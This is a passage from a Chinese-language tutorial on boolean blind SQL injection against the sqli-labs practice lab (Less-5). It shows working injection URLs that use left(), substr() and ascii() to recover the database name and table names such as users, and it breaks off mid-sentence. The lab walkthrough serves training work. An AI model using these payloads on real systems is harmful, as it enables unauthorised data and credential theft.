文章目录
1,布尔盲注—构造逻辑判断
①left(database(),1)
语句为:
http://localhost/sqli-labs-master/Less-5/?id=1' and left(database(),1)='a'#
left(database(),1)>’s’ //left()函数
left(a,b)从左侧截取a的前b位
表示从数据库名字第一个字母是否等于a,是则返回true
爆数据表:
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database()),1)='e'--+
得到第一个表第一个字母为e,可采用二分法尝试。
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database()),2)='em'--+
举一反三得到第一个表为emails。那怎么得到第二个表名称呢?我们采用limit()函数:
limit(m,n):从m开始取n条记录
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),1)>'a'--+
一直得到users表
之后继续得到password与username
②ascii(substr())=n
语句:
http://localhost/sqli-labs-master/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101--+
substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换